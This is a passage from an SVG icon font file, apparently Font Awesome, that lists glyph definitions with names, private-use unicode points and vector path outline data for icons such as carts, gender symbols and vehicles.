t172.5 -43.5q102 0 168.5 61.5t66.5 162.5q0 95 -64.5 159t-159.5 64q-30 0 -81.5 -18.5t-68.5 -18.5q-20 0 -35.5 15t-15.5 35q0 18 8.5 57t8.5 59q0 159 -107.5 263t-266.5 104q-58 0 -111.5 -18.5t-84 -40.5t-55.5 -40.5t-33 -18.5q-15 0 -25.5 10.5t-10.5 25.5
q0 19 25 46q59 67 147 103.5t182 36.5q191 0 318 -125.5t127 -315.5q0 -37 -4 -66q57 15 115 15z" />
    <glyph glyph-name="_502" unicode="&#xf217;" horiz-adv-x="1664" 
d="M1216 832q0 26 -19 45t-45 19h-128v128q0 26 -19 45t-45 19t-45 -19t-19 -45v-128h-128q-26 0 -45 -19t-19 -45t19 -45t45 -19h128v-128q0 -26 19 -45t45 -19t45 19t19 45v128h128q26 0 45 19t19 45zM640 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5
t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1536 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1664 1088v-512q0 -24 -16 -42.5t-41 -21.5l-1044 -122q1 -7 4.5 -21.5t6 -26.5t2.5 -22q0 -16 -24 -64h920
q26 0 45 -19t19 -45t-19 -45t-45 -19h-1024q-26 0 -45 19t-19 45q0 14 11 39.5t29.5 59.5t20.5 38l-177 823h-204q-26 0 -45 19t-19 45t19 45t45 19h256q16 0 28.5 -6.5t20 -15.5t13 -24.5t7.5 -26.5t5.5 -29.5t4.5 -25.5h1201q26 0 45 -19t19 -45z" />
    <glyph glyph-name="_503" unicode="&#xf218;" horiz-adv-x="1664" 
d="M1280 832q0 26 -19 45t-45 19t-45 -19l-147 -146v293q0 26 -19 45t-45 19t-45 -19t-19 -45v-293l-147 146q-19 19 -45 19t-45 -19t-19 -45t19 -45l256 -256q19 -19 45 -19t45 19l256 256q19 19 19 45zM640 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5
t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1536 0q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1664 1088v-512q0 -24 -16 -42.5t-41 -21.5l-1044 -122q1 -7 4.5 -21.5t6 -26.5t2.5 -22q0 -16 -24 -64h920
q26 0 45 -19t19 -45t-19 -45t-45 -19h-1024q-26 0 -45 19t-19 45q0 14 11 39.5t29.5 59.5t20.5 38l-177 823h-204q-26 0 -45 19t-19 45t19 45t45 19h256q16 0 28.5 -6.5t20 -15.5t13 -24.5t7.5 -26.5t5.5 -29.5t4.5 -25.5h1201q26 0 45 -19t19 -45z" />
    <glyph glyph-name="_504" unicode="&#xf219;" horiz-adv-x="2048" 
d="M212 768l623 -665l-300 665h-323zM1024 -4l349 772h-698zM538 896l204 384h-262l-288 -384h346zM1213 103l623 665h-323zM683 896h682l-204 384h-274zM1510 896h346l-288 384h-262zM1651 1382l384 -512q14 -18 13 -41.5t-17 -40.5l-960 -1024q-18 -20 -47 -20t-47 20
l-960 1024q-16 17 -17 40.5t13 41.5l384 512q18 26 51 26h1152q33 0 51 -26z" />
    <glyph glyph-name="_505" unicode="&#xf21a;" horiz-adv-x="2048" 
d="M1811 -19q19 19 45 19t45 -19l128 -128l-90 -90l-83 83l-83 -83q-18 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83
q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-128 128l90 90l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83q19 19 45 19t45 -19l83 -83l83 83
q19 19 45 19t45 -19l83 -83zM237 19q-19 -19 -45 -19t-45 19l-128 128l90 90l83 -82l83 82q19 19 45 19t45 -19l83 -82l64 64v293l-210 314q-17 26 -7 56.5t40 40.5l177 58v299h128v128h256v128h256v-128h256v-128h128v-299l177 -58q30 -10 40 -40.5t-7 -56.5l-210 -314
v-293l19 18q19 19 45 19t45 -19l83 -82l83 82q19 19 45 19t45 -19l128 -128l-90 -90l-83 83l-83 -83q-18 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83l-83 -83
q-19 -19 -45 -19t-45 19l-83 83l-83 -83q-19 -19 -45 -19t-45 19l-83 83zM640 1152v-128l384 128l384 -128v128h-128v128h-512v-128h-128z" />
    <glyph glyph-name="_506" unicode="&#xf21b;" 
d="M576 0l96 448l-96 128l-128 64zM832 0l128 640l-128 -64l-96 -128zM992 1010q-2 4 -4 6q-10 8 -96 8q-70 0 -167 -19q-7 -2 -21 -2t-21 2q-97 19 -167 19q-86 0 -96 -8q-2 -2 -4 -6q2 -18 4 -27q2 -3 7.5 -6.5t7.5 -10.5q2 -4 7.5 -20.5t7 -20.5t7.5 -17t8.5 -17t9 -14
t12 -13.5t14 -9.5t17.5 -8t20.5 -4t24.5 -2q36 0 59 12.5t32.5 30t14.5 34.5t11.5 29.5t17.5 12.5h12q11 0 17.5 -12.5t11.5 -29.5t14.5 -34.5t32.5 -30t59 -12.5q13 0 24.5 2t20.5 4t17.5 8t14 9.5t12 13.5t9 14t8.5 17t7.5 17t7 20.5t7.5 20.5q2 7 7.5 10.5t7.5 6.5
q2 9 4 27zM1408 131q0 -121 -73 -190t-194 -69h-874q-121 0 -194 69t-73 190q0 61 4.5 118t19 125.5t37.5 123.5t63.5 103.5t93.5 74.5l-90 220h214q-22 64 -22 128q0 12 2 32q-194 40 -194 96q0 57 210 99q17 62 51.5 134t70.5 114q32 37 76 37q30 0 84 -31t84 -31t84 31
t84 31q44 0 76 -37q36 -42 70.5 -114t51.5 -134q210 -42 210 -99q0 -56 -194 -96q7 -81 -20 -160h214l-82 -225q63 -33 107.5 -96.5t65.5 -143.5t29 -151.5t8 -148.5z" />
    <glyph glyph-name="_507" unicode="&#xf21c;" horiz-adv-x="2304" 
d="M2301 500q12 -103 -22 -198.5t-99 -163.5t-158.5 -106t-196.5 -31q-161 11 -279.5 125t-134.5 274q-12 111 27.5 210.5t118.5 170.5l-71 107q-96 -80 -151 -194t-55 -244q0 -27 -18.5 -46.5t-45.5 -19.5h-256h-69q-23 -164 -149 -274t-294 -110q-185 0 -316.5 131.5
t-131.5 316.5t131.5 316.5t316.5 131.5q76 0 152 -27l24 45q-123 110 -304 110h-64q-26 0 -45 19t-19 45t19 45t45 19h128q78 0 145 -13.5t116.5 -38.5t71.5 -39.5t51 -36.5h512h115l-85 128h-222q-30 0 -49 22.5t-14 52.5q4 23 23 38t43 15h253q33 0 53 -28l70 -105
l114 114q19 19 46 19h101q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-179l115 -172q131 63 275 36q143 -26 244 -134.5t118 -253.5zM448 128q115 0 203 72.5t111 183.5h-314q-35 0 -55 31q-18 32 -1 63l147 277q-47 13 -91 13q-132 0 -226 -94t-94 -226t94 -226
t226 -94zM1856 128q132 0 226 94t94 226t-94 226t-226 94q-60 0 -121 -24l174 -260q15 -23 10 -49t-27 -40q-15 -11 -36 -11q-35 0 -53 29l-174 260q-93 -95 -93 -225q0 -132 94 -226t226 -94z" />
    <glyph glyph-name="_508" unicode="&#xf21d;" 
d="M1408 0q0 -63 -61.5 -113.5t-164 -81t-225 -46t-253.5 -15.5t-253.5 15.5t-225 46t-164 81t-61.5 113.5q0 49 33 88.5t91 66.5t118 44.5t131 29.5q26 5 48 -10.5t26 -41.5q5 -26 -10.5 -48t-41.5 -26q-58 -10 -106 -23.5t-76.5 -25.5t-48.5 -23.5t-27.5 -19.5t-8.5 -12
q3 -11 27 -26.5t73 -33t114 -32.5t160.5 -25t201.5 -10t201.5 10t160.5 25t114 33t73 33.5t27 27.5q-1 4 -8.5 11t-27.5 19t-48.5 23.5t-76.5 25t-106 23.5q-26 4 -41.5 26t-10.5 48q4 26 26 41.5t48 10.5q71 -12 131 -29.5t118 -44.5t91 -66.5t33 -88.5zM1024 896v-384
q0 -26 -19 -45t-45 -19h-64v-384q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v384h-64q-26 0 -45 19t-19 45v384q0 53 37.5 90.5t90.5 37.5h384q53 0 90.5 -37.5t37.5 -90.5zM928 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5
t158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="_509" unicode="&#xf21e;" horiz-adv-x="1792" 
d="M1280 512h305q-5 -6 -10 -10.5t-9 -7.5l-3 -4l-623 -600q-18 -18 -44 -18t-44 18l-624 602q-5 2 -21 20h369q22 0 39.5 13.5t22.5 34.5l70 281l190 -667q6 -20 23 -33t39 -13q21 0 38 13t23 33l146 485l56 -112q18 -35 57 -35zM1792 940q0 -145 -103 -300h-369l-111 221
q-8 17 -25.5 27t-36.5 8q-45 -5 -56 -46l-129 -430l-196 686q-6 20 -23.5 33t-39.5 13t-39 -13.5t-22 -34.5l-116 -464h-423q-103 155 -103 300q0 220 127 344t351 124q62 0 126.5 -21.5t120 -58t95.5 -68.5t76 -68q36 36 76 68t95.5 68.5t120 58t126.5 21.5q224 0 351 -124
t127 -344z" />
    <glyph glyph-name="venus" unicode="&#xf221;" horiz-adv-x="1280" 
d="M1152 960q0 -221 -147.5 -384.5t-364.5 -187.5v-260h224q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-224v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-224q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v260q-150 16 -271.5 103t-186 224t-52.5 292
q11 134 80.5 249t182 188t245.5 88q170 19 319 -54t236 -212t87 -306zM128 960q0 -185 131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5z" />
    <glyph glyph-name="_511" unicode="&#xf222;" 
d="M1472 1408q26 0 45 -19t19 -45v-416q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v262l-382 -383q126 -156 126 -359q0 -117 -45.5 -223.5t-123 -184t-184 -123t-223.5 -45.5t-223.5 45.5t-184 123t-123 184t-45.5 223.5t45.5 223.5t123 184t184 123t223.5 45.5
q203 0 359 -126l382 382h-261q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h416zM576 0q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_512" unicode="&#xf223;" horiz-adv-x="1280" 
d="M830 1220q145 -72 233.5 -210.5t88.5 -305.5q0 -221 -147.5 -384.5t-364.5 -187.5v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-217 24 -364.5 187.5
t-147.5 384.5q0 167 88.5 305.5t233.5 210.5q-165 96 -228 273q-6 16 3.5 29.5t26.5 13.5h69q21 0 29 -20q44 -106 140 -171t214 -65t214 65t140 171q8 20 37 20h61q17 0 26.5 -13.5t3.5 -29.5q-63 -177 -228 -273zM576 256q185 0 316.5 131.5t131.5 316.5t-131.5 316.5
t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_513" unicode="&#xf224;" 
d="M1024 1504q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q126 -158 126 -359q0 -221 -147.5 -384.5t-364.5 -187.5v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64
q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-149 16 -270.5 103t-186.5 223.5t-53 291.5q16 204 160 353.5t347 172.5q118 14 228 -19t198 -103l255 254h-134q-14 0 -23 9t-9 23v64zM576 256q185 0 316.5 131.5t131.5 316.5t-131.5 316.5
t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_514" unicode="&#xf225;" horiz-adv-x="1792" 
d="M1280 1504q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q126 -158 126 -359q0 -221 -147.5 -384.5t-364.5 -187.5v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64
q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-217 24 -364.5 187.5t-147.5 384.5q0 201 126 359l-52 53l-101 -111q-9 -10 -22 -10.5t-23 7.5l-48 44q-10 8 -10.5 21.5t8.5 23.5l105 115l-111 112v-134q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9
t-9 23v288q0 26 19 45t45 19h288q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-133l106 -107l86 94q9 10 22 10.5t23 -7.5l48 -44q10 -8 10.5 -21.5t-8.5 -23.5l-90 -99l57 -56q158 126 359 126t359 -126l255 254h-134q-14 0 -23 9t-9 23v64zM832 256q185 0 316.5 131.5
t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_515" unicode="&#xf226;" horiz-adv-x="1792" 
d="M1790 1007q12 -155 -52.5 -292t-186 -224t-271.5 -103v-260h224q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-224v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-512v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-224q-14 0 -23 9t-9 23v64q0 14 9 23
t23 9h224v260q-150 16 -271.5 103t-186 224t-52.5 292q17 206 164.5 356.5t352.5 169.5q206 21 377 -94q171 115 377 94q205 -19 352.5 -169.5t164.5 -356.5zM896 647q128 131 128 313t-128 313q-128 -131 -128 -313t128 -313zM576 512q115 0 218 57q-154 165 -154 391
q0 224 154 391q-103 57 -218 57q-185 0 -316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5zM1152 128v260q-137 15 -256 94q-119 -79 -256 -94v-260h512zM1216 512q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5q-115 0 -218 -57q154 -167 154 -391
q0 -226 -154 -391q103 -57 218 -57z" />
    <glyph glyph-name="_516" unicode="&#xf227;" horiz-adv-x="1920" 
d="M1536 1120q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q76 -95 107.5 -214t9.5 -247q-31 -182 -166 -312t-318 -156q-210 -29 -384.5 80t-241.5 300q-117 6 -221 57.5t-177.5 133t-113.5 192.5t-32 230
q9 135 78 252t182 191.5t248 89.5q118 14 227.5 -19t198.5 -103l255 254h-134q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q59 -74 93 -169q182 -9 328 -124l255 254h-134q-14 0 -23 9
t-9 23v64zM1024 704q0 20 -4 58q-162 -25 -271 -150t-109 -292q0 -20 4 -58q162 25 271 150t109 292zM128 704q0 -168 111 -294t276 -149q-3 29 -3 59q0 210 135 369.5t338 196.5q-53 120 -163.5 193t-245.5 73q-185 0 -316.5 -131.5t-131.5 -316.5zM1088 -128
q185 0 316.5 131.5t131.5 316.5q0 168 -111 294t-276 149q3 -28 3 -59q0 -210 -135 -369.5t-338 -196.5q53 -120 163.5 -193t245.5 -73z" />
    <glyph glyph-name="_517" unicode="&#xf228;" horiz-adv-x="2048" 
d="M1664 1504q0 14 9 23t23 9h288q26 0 45 -19t19 -45v-288q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v134l-254 -255q76 -95 107.5 -214t9.5 -247q-32 -180 -164.5 -310t-313.5 -157q-223 -34 -409 90q-117 -78 -256 -93v-132h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23
t-23 -9h-96v-96q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v96h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96v132q-155 17 -279.5 109.5t-187 237.5t-39.5 307q25 187 159.5 322.5t320.5 164.5q224 34 410 -90q146 97 320 97q201 0 359 -126l255 254h-134q-14 0 -23 9
t-9 23v64zM896 391q128 131 128 313t-128 313q-128 -131 -128 -313t128 -313zM128 704q0 -185 131.5 -316.5t316.5 -131.5q117 0 218 57q-154 167 -154 391t154 391q-101 57 -218 57q-185 0 -316.5 -131.5t-131.5 -316.5zM1216 256q185 0 316.5 131.5t131.5 316.5
t-131.5 316.5t-316.5 131.5q-117 0 -218 -57q154 -167 154 -391t-154 -391q101 -57 218 -57z" />
    <glyph glyph-name="_518" unicode="&#xf229;" 
d="M1472 1408q26 0 45 -19t19 -45v-416q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v262l-213 -214l140 -140q9 -10 9 -23t-9 -22l-46 -46q-9 -9 -22 -9t-23 9l-140 141l-78 -79q126 -156 126 -359q0 -117 -45.5 -223.5t-123 -184t-184 -123t-223.5 -45.5t-223.5 45.5
t-184 123t-123 184t-45.5 223.5t45.5 223.5t123 184t184 123t223.5 45.5q203 0 359 -126l78 78l-172 172q-9 10 -9 23t9 22l46 46q9 9 22 9t23 -9l172 -172l213 213h-261q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h416zM576 0q185 0 316.5 131.5t131.5 316.5t-131.5 316.5
t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_519" unicode="&#xf22a;" horiz-adv-x="1280" 
d="M640 892q217 -24 364.5 -187.5t147.5 -384.5q0 -167 -87 -306t-236 -212t-319 -54q-133 15 -245.5 88t-182 188t-80.5 249q-12 155 52.5 292t186 224t271.5 103v132h-160q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h160v165l-92 -92q-10 -9 -23 -9t-22 9l-46 46q-9 9 -9 22
t9 23l202 201q19 19 45 19t45 -19l202 -201q9 -10 9 -23t-9 -22l-46 -46q-9 -9 -22 -9t-23 9l-92 92v-165h160q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-160v-132zM576 -128q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5
t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_520" unicode="&#xf22b;" horiz-adv-x="2048" 
d="M1901 621q19 -19 19 -45t-19 -45l-294 -294q-9 -10 -22.5 -10t-22.5 10l-45 45q-10 9 -10 22.5t10 22.5l185 185h-294v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-132q-24 -217 -187.5 -364.5t-384.5 -147.5q-167 0 -306 87t-212 236t-54 319q15 133 88 245.5
t188 182t249 80.5q155 12 292 -52.5t224 -186t103 -271.5h132v224q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-224h294l-185 185q-10 9 -10 22.5t10 22.5l45 45q9 10 22.5 10t22.5 -10zM576 128q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5
t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_521" unicode="&#xf22c;" horiz-adv-x="1280" 
d="M1152 960q0 -221 -147.5 -384.5t-364.5 -187.5v-612q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v612q-217 24 -364.5 187.5t-147.5 384.5q0 117 45.5 223.5t123 184t184 123t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5zM576 512q185 0 316.5 131.5
t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_522" unicode="&#xf22d;" horiz-adv-x="1280" 
d="M1024 576q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5zM1152 576q0 -117 -45.5 -223.5t-123 -184t-184 -123t-223.5 -45.5t-223.5 45.5t-184 123t-123 184t-45.5 223.5t45.5 223.5t123 184t184 123
t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5z" />
    <glyph glyph-name="_523" unicode="&#xf22e;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="_524" unicode="&#xf22f;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="_525" unicode="&#xf230;" 
d="M1451 1408q35 0 60 -25t25 -60v-1366q0 -35 -25 -60t-60 -25h-391v595h199l30 232h-229v148q0 56 23.5 84t91.5 28l122 1v207q-63 9 -178 9q-136 0 -217.5 -80t-81.5 -226v-171h-200v-232h200v-595h-735q-35 0 -60 25t-25 60v1366q0 35 25 60t60 25h1366z" />
    <glyph glyph-name="_526" unicode="&#xf231;" horiz-adv-x="1280" 
d="M0 939q0 108 37.5 203.5t103.5 166.5t152 123t185 78t202 26q158 0 294 -66.5t221 -193.5t85 -287q0 -96 -19 -188t-60 -177t-100 -149.5t-145 -103t-189 -38.5q-68 0 -135 32t-96 88q-10 -39 -28 -112.5t-23.5 -95t-20.5 -71t-26 -71t-32 -62.5t-46 -77.5t-62 -86.5
l-14 -5l-9 10q-15 157 -15 188q0 92 21.5 206.5t66.5 287.5t52 203q-32 65 -32 169q0 83 52 156t132 73q61 0 95 -40.5t34 -102.5q0 -66 -44 -191t-44 -187q0 -63 45 -104.5t109 -41.5q55 0 102 25t78.5 68t56 95t38 110.5t20 111t6.5 99.5q0 173 -109.5 269.5t-285.5 96.5
q-200 0 -334 -129.5t-134 -328.5q0 -44 12.5 -85t27 -65t27 -45.5t12.5 -30.5q0 -28 -15 -73t-37 -45q-2 0 -17 3q-51 15 -90.5 56t-61 94.5t-32.5 108t-11 106.5z" />
    <glyph glyph-name="_527" unicode="&#xf232;" 
d="M985 562q13 0 97.5 -44t89.5 -53q2 -5 2 -15q0 -33 -17 -76q-16 -39 -71 -65.5t-102 -26.5q-57 0 -190 62q-98 45 -170 118t-148 185q-72 107 -71 194v8q3 91 74 158q24 22 52 22q6 0 18 -1.5t19 -1.5q19 0 26.5 -6.5t15.5 -27.5q8 -20 33 -88t25 -75q0 -21 -34.5 -57.5
t-34.5 -46.5q0 -7 5 -15q34 -73 102 -137q56 -53 151 -101q12 -7 22 -7q15 0 54 48.5t52 48.5zM782 32q127 0 243.5 50t200.5 134t134 200.5t50 243.5t-50 243.5t-134 200.5t-200.5 134t-243.5 50t-243.5 -50t-200.5 -134t-134 -200.5t-50 -243.5q0 -203 120 -368l-79 -233
l242 77q158 -104 345 -104zM782 1414q153 0 292.5 -60t240.5 -161t161 -240.5t60 -292.5t-60 -292.5t-161 -240.5t-240.5 -161t-292.5 -60q-195 0 -365 94l-417 -134l136 405q-108 178 -108 389q0 153 60 292.5t161 240.5t240.5 161t292.5 60z" />
    <glyph glyph-name="_528" unicode="&#xf233;" horiz-adv-x="1792" 
d="M128 128h1024v128h-1024v-128zM128 640h1024v128h-1024v-128zM1696 192q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM128 1152h1024v128h-1024v-128zM1696 704q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1696 1216
q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1792 384v-384h-1792v384h1792zM1792 896v-384h-1792v384h1792zM1792 1408v-384h-1792v384h1792z" />
    <glyph glyph-name="_529" unicode="&#xf234;" horiz-adv-x="2048" 
d="M704 640q-159 0 -271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5t-112.5 -271.5t-271.5 -112.5zM1664 512h352q13 0 22.5 -9.5t9.5 -22.5v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-352v-352q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5
t-9.5 22.5v352h-352q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h352v352q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5v-352zM928 288q0 -52 38 -90t90 -38h256v-238q-68 -50 -171 -50h-874q-121 0 -194 69t-73 190q0 53 3.5 103.5t14 109t26.5 108.5
t43 97.5t62 81t85.5 53.5t111.5 20q19 0 39 -17q79 -61 154.5 -91.5t164.5 -30.5t164.5 30.5t154.5 91.5q20 17 39 17q132 0 217 -96h-223q-52 0 -90 -38t-38 -90v-192z" />
    <glyph glyph-name="_530" unicode="&#xf235;" horiz-adv-x="2048" 
d="M704 640q-159 0 -271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5t-112.5 -271.5t-271.5 -112.5zM1781 320l249 -249q9 -9 9 -23q0 -13 -9 -22l-136 -136q-9 -9 -22 -9q-14 0 -23 9l-249 249l-249 -249q-9 -9 -23 -9q-13 0 -22 9l-136 136
q-9 9 -9 22q0 14 9 23l249 249l-249 249q-9 9 -9 23q0 13 9 22l136 136q9 9 22 9q14 0 23 -9l249 -249l249 249q9 9 23 9q13 0 22 -9l136 -136q9 -9 9 -22q0 -14 -9 -23zM1283 320l-181 -181q-37 -37 -37 -91q0 -53 37 -90l83 -83q-21 -3 -44 -3h-874q-121 0 -194 69
t-73 190q0 53 3.5 103.5t14 109t26.5 108.5t43 97.5t62 81t85.5 53.5t111.5 20q19 0 39 -17q154 -122 319 -122t319 122q20 17 39 17q28 0 57 -6q-28 -27 -41 -50t-13 -56q0 -54 37 -91z" />
    <glyph glyph-name="_531" unicode="&#xf236;" horiz-adv-x="2048" 
d="M256 512h1728q26 0 45 -19t19 -45v-448h-256v256h-1536v-256h-256v1216q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-704zM832 832q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM2048 576v64q0 159 -112.5 271.5t-271.5 112.5h-704
q-26 0 -45 -19t-19 -45v-384h1152z" />
    <glyph glyph-name="_532" unicode="&#xf237;" 
d="M1536 1536l-192 -448h192v-192h-274l-55 -128h329v-192h-411l-357 -832l-357 832h-411v192h329l-55 128h-274v192h192l-192 448h256l323 -768h378l323 768h256zM768 320l108 256h-216z" />
    <glyph glyph-name="_533" unicode="&#xf238;" 
d="M1088 1536q185 0 316.5 -93.5t131.5 -226.5v-896q0 -130 -125.5 -222t-305.5 -97l213 -202q16 -15 8 -35t-30 -20h-1056q-22 0 -30 20t8 35l213 202q-180 5 -305.5 97t-125.5 222v896q0 133 131.5 226.5t316.5 93.5h640zM768 192q80 0 136 56t56 136t-56 136t-136 56
t-136 -56t-56 -136t56 -136t136 -56zM1344 768v512h-1152v-512h1152z" />
    <glyph glyph-name="_534" unicode="&#xf239;" 
d="M1088 1536q185 0 316.5 -93.5t131.5 -226.5v-896q0 -130 -125.5 -222t-305.5 -97l213 -202q16 -15 8 -35t-30 -20h-1056q-22 0 -30 20t8 35l213 202q-180 5 -305.5 97t-125.5 222v896q0 133 131.5 226.5t316.5 93.5h640zM288 224q66 0 113 47t47 113t-47 113t-113 47
t-113 -47t-47 -113t47 -113t113 -47zM704 768v512h-544v-512h544zM1248 224q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47zM1408 768v512h-576v-512h576z" />
    <glyph glyph-name="_535" unicode="&#xf23a;" horiz-adv-x="1792" 
d="M597 1115v-1173q0 -25 -12.5 -42.5t-36.5 -17.5q-17 0 -33 8l-465 233q-21 10 -35.5 33.5t-14.5 46.5v1140q0 20 10 34t29 14q14 0 44 -15l511 -256q3 -3 3 -5zM661 1014l534 -866l-534 266v600zM1792 996v-1054q0 -25 -14 -40.5t-38 -15.5t-47 13l-441 220zM1789 1116
q0 -3 -256.5 -419.5t-300.5 -487.5l-390 634l324 527q17 28 52 28q14 0 26 -6l541 -270q4 -2 4 -6z" />
    <glyph glyph-name="_536" unicode="&#xf23b;" 
d="M809 532l266 499h-112l-157 -312q-24 -48 -44 -92l-42 92l-155 312h-120l263 -493v-324h101v318zM1536 1408v-1536h-1536v1536h1536z" />
    <glyph glyph-name="_537" unicode="&#xf23c;" horiz-adv-x="2296" 
d="M478 -139q-8 -16 -27 -34.5t-37 -25.5q-25 -9 -51.5 3.5t-28.5 31.5q-1 22 40 55t68 38q23 4 34 -21.5t2 -46.5zM1819 -139q7 -16 26 -34.5t38 -25.5q25 -9 51.5 3.5t27.5 31.5q2 22 -39.5 55t-68.5 38q-22 4 -33 -21.5t-2 -46.5zM1867 -30q13 -27 56.5 -59.5t77.5 -41.5
